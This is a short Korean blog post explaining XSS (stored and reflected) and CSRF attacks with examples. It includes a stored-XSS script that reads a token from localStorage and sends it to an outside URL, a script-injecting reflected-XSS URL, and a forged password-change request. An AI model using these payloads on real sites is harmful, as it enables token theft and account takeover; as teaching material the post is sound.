XSS, CSRF

서동수·2022년 7월 17일
0

XSS (크로스 사이트 스크립팅)

  • 공격하려는 사이트에 Script를 넣어 공격하는 기법

  • Stored XSS: 서버나 DB에 저장이 되어 지속적으로 Script가 실행되어 공격하는 방법

토큰을 LocalStorage에 token 키로 보관한다는 가정
// 게시물 내용
<script>
  const token = window.localStorage.getItem('token');
  const httpRequest = new XMLHttpRequest();
  httpRequest.open('GET', `https://falsy.me/hacking/${token}`);
  httpRequest.send(null);
</script>
  • Reflected XSS: 서버에 저장하지 않고 URL 파라미터에 스크립트를 넣어 공격하는 방법
정상 요청코드
https://falsy.me/index.php?name=falsy

기존 응답코드
// index.php
$name = $_GET['name']
echo '어서오세요 $name님'

공격 요청코드
https://falsy.me/index.php?name=<script>window.location.href="https://falsy.me"</script>

CSRF (Cross-Site Request Forgery)

  • 사이드 위조 공격으로 웹 사이트의 유저를 신용하고 있는 상태를 노린 공격 방법
https://dongsudev.com 이라는 페이지의 Admin이 나 자신이고
쿠키로 인증을 통해 로그인 상태에서
https://dongsudev.com?id=admin&pw=password 라는 API가 비밀번호를 변경한다고 가정

XSS 공격으로 https://dongsudev.com?id=admin&pw=hacking 으로 요청을 하게 하면
로그인이 되어있기 때문에 admin의 password는 hacking으로 변경된다.
profile
devLog

0개의 댓글